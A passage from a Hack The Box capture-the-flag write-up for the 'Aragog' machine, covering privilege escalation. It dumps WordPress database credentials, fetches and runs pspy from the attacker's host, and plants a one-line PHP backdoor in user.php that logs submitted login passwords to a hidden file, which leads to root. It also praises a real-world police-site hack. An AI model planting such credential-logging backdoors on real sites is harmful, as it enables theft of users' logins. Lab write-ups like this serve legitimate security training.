    &lt;span class=&quot;nv&quot;&gt;$details&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;simplexml_import_dom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$dom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$mask&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$details&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;subnet_mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//echo &quot;\r\nYou have provided subnet $mask\r\n&quot;;
&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$max_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'32'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$cidr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;mask2cidr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$max_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$cidr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$hosts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;There are &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$hosts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot; possible hosts for &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$mask&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\r\n\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;mask2cidr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
         &lt;span class=&quot;nv&quot;&gt;$long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ip2long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$mask&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
         &lt;span class=&quot;nv&quot;&gt;$base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ip2long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'255.255.255.255'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$long&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;h3 id=&quot;discovering-dev_wiki-wordpress-site&quot;&gt;Discovering dev_wiki wordpress site&lt;/h3&gt;

&lt;p&gt;Interesting we see additional content is being served up in our &lt;code class=&quot;highlighter-rouge&quot;&gt;var/www/html&lt;/code&gt; directory.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html$ ls -la
total 68
drwxrwxrwx 4 www-data www-data  4096 Jul 21 05:55 .
drwxr-xr-x 3 root     root      4096 Dec 18  2017 ..
drwxrwxrwx 5 cliff    cliff     4096 Jul 21 05:55 dev_wiki
-rw-r--r-- 1 www-data www-data   689 Dec 21  2017 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18  2017 index.html
-rw-r--r-- 1 florian  florian  36650 Jul 21 05:55 wp-login.php
drw-r--r-- 5 cliff    cliff     4096 Dec 20  2017 zz_backup
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Inspecting the contents of the &lt;code class=&quot;highlighter-rouge&quot;&gt;dev_wiki&lt;/code&gt; directory, we see that it’s a WordPress blog. Additionally it seems that we have full control over the &lt;code class=&quot;highlighter-rouge&quot;&gt;dev_wiki&lt;/code&gt; directory. Let see if we can visit the &lt;code class=&quot;highlighter-rouge&quot;&gt;dev_wiki&lt;/code&gt; WordPress site in our browser.&lt;/p&gt;

&lt;p&gt;But before we do that we need to add &lt;em&gt;aragog&lt;/em&gt; as an entry in our &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file first.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;echo &quot;10.10.10.78 aragog&quot; &amp;gt;&amp;gt; /etc/hosts&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/10.png&quot; alt=&quot;&amp;quot;Dev Wiki Wordpress&amp;quot;&quot; title=&quot;Dev Wiki Wordpress&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking at the blog we see that there’s only one post. Stating that cliff will be logging in regularly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/11.png&quot; alt=&quot;&amp;quot;Cliff's Message&amp;quot;&quot; title=&quot;Cliff's Message&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Lets see what the username/password of the mysql database is…&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html/dev_wiki$ cat wp-config.php
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;snip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ** MySQL settings - You can get this info from your web host ** //
&lt;/span&gt;&lt;span class=&quot;sd&quot;&gt;/** The name of the database for WordPress */&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'DB_NAME'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'wp_wiki'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;sd&quot;&gt;/** MySQL database username */&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'DB_USER'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'root'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;sd&quot;&gt;/** MySQL database password */&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'$@y6CHJ^$#5c37j$#6h'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;sd&quot;&gt;/** MySQL hostname */&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'DB_HOST'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'localhost'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Let’s have a look at the wordpress database &amp;amp; see if we can discover any WP user passwords we can crack.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html/dev_wiki$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 55
Server version: 5.7.20-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysql&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wp_wiki            |
+--------------------+
5 rows in set (0.03 sec)

mysql&amp;gt; use wp_wiki;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql&amp;gt; show tables;
+-----------------------+
| Tables_in_wp_wiki     |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.01 sec)

mysql&amp;gt; select * from wp_users;
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
| ID | user_login    | user_pass                          | user_nicename | user_email      | user_url | user_registered     | user_activation_key | user_status | display_name  |
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
|  1 | Administrator | $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu. | administrator | it@megacorp.com |          | 2017-12-20 23:26:04 |                     |           0 | Administrator |
+----+---------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+---------------+
1 row in set (0.01 sec)

mysql&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We attempt to crack the hash with john the ripper &amp;amp; the rockyou wordlist but was unsuccessful so likely this is unrelated.&lt;/p&gt;

&lt;h3 id=&quot;performing-process-monitoring-with-pspy&quot;&gt;Performing process monitoring with pspy&lt;/h3&gt;

&lt;p&gt;While doing your enumeration you would notice that the &lt;code class=&quot;highlighter-rouge&quot;&gt;dev_wiki&lt;/code&gt; directory was getting deleted constantly on every few minutes or so. To get a better idea of whats going on we can try to monitor the running processes on the box.&lt;/p&gt;

&lt;p&gt;Hack the box Member &lt;a href=&quot;https://forum.hackthebox.eu/profile/0b5cur17y&quot;&gt;0b5cur17y&lt;/a&gt; created a fantastic tool called &lt;a href=&quot;https://github.com/DominicBreuker/pspy&quot;&gt;pspy&lt;/a&gt;. It’s very common for HTB machines to require to guess random crontab stuff or find parameters/process commandlines. If you view the &lt;a href=&quot;https://forum.hackthebox.eu/discussion/501/pspy-process-monitoring-cron-job-detection#latest&quot;&gt;original thread&lt;/a&gt; you will understand what I mean.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;using pspy to discover wp-login.py&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/tmp/.ps$ wget -q http://10.10.15.207:7777/pspy64
florian@aragog:/tmp/.ps$ chmod +x pspy64
florian@aragog:/tmp/.ps$ ./pspy64
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;After some time we see that there is a cronjob that is constantly deleting the dev_wiki folder &amp;amp; replacing it with the backup folder… &amp;amp; a script &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-login.py&lt;/code&gt; is ran shortly after that process happens.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UkP4rOp.png&quot; alt=&quot;&amp;quot;restore.sh &amp;amp; wp-login.py Cronjob Task&amp;quot;&quot; title=&quot;Restore.sh &amp;amp; wp-login.py Cronjob Task&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2018/07/21 06:35:01 CMD: UID=1001 PID=3870   | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0    PID=3869   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=1001 PID=3868   | /bin/sh -c /usr/bin/python /home/cliff/wp-login.py
2018/07/21 06:35:01 CMD: UID=0    PID=3867   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0    PID=3866   | /usr/sbin/CRON -f
2018/07/21 06:35:01 CMD: UID=0    PID=3872   | rm -rf /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0    PID=3871   | /bin/bash /root/restore.sh
2018/07/21 06:35:01 CMD: UID=0    PID=3873   | cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=1001 PID=3875   |
2018/07/21 06:35:01 CMD: UID=1001 PID=3874   | sh -c LC_ALL=C LANG=C /sbin/ldconfig -p 2&amp;gt;/dev/null
2018/07/21 06:35:01 CMD: UID=0    PID=3878   | chown -R cliff:cliff /var/www/html/dev_wiki/
2018/07/21 06:35:01 CMD: UID=0    PID=3879   | chmod -R 777 /var/www/html/dev_wiki/
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;If you google &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-login.py&lt;/code&gt; and we find the following Github Gist of &lt;a href=&quot;https://gist.github.com/GreeeenApple/5a322bb44eae37ec9727&quot;&gt;wp-login.py&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Remember that blog post? “I’ll be logging in regularly”
&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;backdooring-wordpress-to-log-requests--getting-root&quot;&gt;Backdooring Wordpress to Log Requests &amp;amp; Getting Root&lt;/h3&gt;

&lt;p&gt;So there’s a few possible ways we can try to accomplish this. Backdoor &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-login.php&lt;/code&gt; to send a request to our server with the login details or have wordpress log the post requeset to a file. We can also modify the &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-includes\user.php&lt;/code&gt; login function hook to log the username &amp;amp; password to a file.&lt;/p&gt;

&lt;p&gt;This part was a bit troubling since there were a few ways to accomplish this task, and depending on which path you took. I consulted with some other HTB members &amp;amp; a good chunk of them went the &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-login.php&lt;/code&gt; route which I felt like was much harder.&lt;/p&gt;

&lt;p&gt;There’s a few good examples of how to “Backdoor Wordpress”, but I think the best example I’ve ever seen of backdooring a wordpress site was when &lt;a href=&quot;https://motherboard.vice.com/en_us/article/vv77y9/phineas-fisher-sme&quot;&gt;phineas fisher&lt;/a&gt; hacked the catalan police department. It was very simple, clean, and pretty discrete. I honestly think this dude is a legend, and he recorded how he did it &amp;amp; posted it on the internet for people to learn. Some fantastic learning can be done from the video of the hack he did, I highly recommend watching it in full. (Also an obglitatory #hackback)&lt;/p&gt;

&lt;p&gt;Video &lt;a href=&quot;https://youtu.be/oI_ZhFCS3AQ?t=1745&quot;&gt;Phineas Fisher Hacks Catalan Police Department&lt;/a&gt; stop watching at: 30:01.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;backdoor php code&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;file_put_contents(&quot;wp-includes/.m.php&quot;,&quot;WP :&quot; . $_POST['log']
    . &quot; : &quot; . $_POST['pwd'] . &quot;\n&quot;, FILE_APPEND);
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/aragog/13.png&quot; alt=&quot;&amp;quot;Backdooring wordpress-includes/user.php&amp;quot;&quot; title=&quot;Backdooring wordpress user.php&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We run some tests &amp;amp; we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html/dev_wiki/wp-includes$ cat .m.php
WP :tsst : test
WP :Administrator : !KRgYs(JFO!&amp;amp;MTr)lf
WP :medic : medic
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting root&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;florian@aragog:/var/www/html/dev_wiki/wp-includes$ su root
Password:
root@aragog:/var/www/html/dev_wiki/wp-includes# id
uid=0(root) gid=0(root) groups=0(root)
root@aragog:/var/www/html/dev_wiki/wp-includes#
root@aragog:/var/www/html/dev_wiki/wp-includes# cat /root/root.txt
9a9da5.....
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Lets take a peak at &lt;code class=&quot;highlighter-rouge&quot;&gt;restore.sh&lt;/code&gt; &amp;amp; &lt;code class=&quot;highlighter-rouge&quot;&gt;wp-login.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;restore.sh&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@aragog:~# &lt;/span&gt;cat restore.sh
rm -rf /var/www/html/dev_wiki/
cp -R /var/www/html/zz_backup/ /var/www/html/dev_wiki/
chown -R cliff:cliff /var/www/html/dev_wiki/
chmod -R 777 /var/www/html/dev_wiki/
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;wp-login.py&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@aragog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cliff&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# cat wp-login.py&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;wp_login&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://127.0.0.1/dev_wiki/wp-login.php'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;wp_admin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://127.0.0.1/dev_wiki/wp-admin/'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Administrator'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'!KRgYs(JFO!&amp;amp;MTr)lf'&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;headers1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Cookie'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'wordpress_test_cookie=WP Cookie check'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;datas&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'log'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'pwd'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wp-submit'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Log In'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;'redirect_to'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wp_admin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'testcookie'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'1'&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wp_login&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;datas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wp_admin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;That’s all for now folks.&lt;/p&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><category term="web" /><category term="xxe" /><category term="wordpress-backdoor" /><summary type="html">Introduction Nmap BurpSuite GoBuster Pspy Enumeration Initial Scanning Like with every hack the box machine lets begin with an nmap scan against aragog (10.10.10.78) # Nmap 7.70 scan initiated Sat May 12 19:49:54 2018 as: nmap -T4 -sC -A -n -v -p- -oA inital_scan 10.10.10.78 Increasing send delay for 10.10.10.78 from 0 to 5 due to 883 out of 2206 dropped probes since last increase. Nmap scan report for 10.10.10.78 Host is up (0.14s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-r--r--r-- 1 ftp ftp 86 Dec 21 16:30 test.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.83 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA) | 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA) |_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=5/12%OT=21%CT=1%CU=40756%PV=Y%DS=2%DC=T%G=Y%TM=5AF7814 OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)OPS 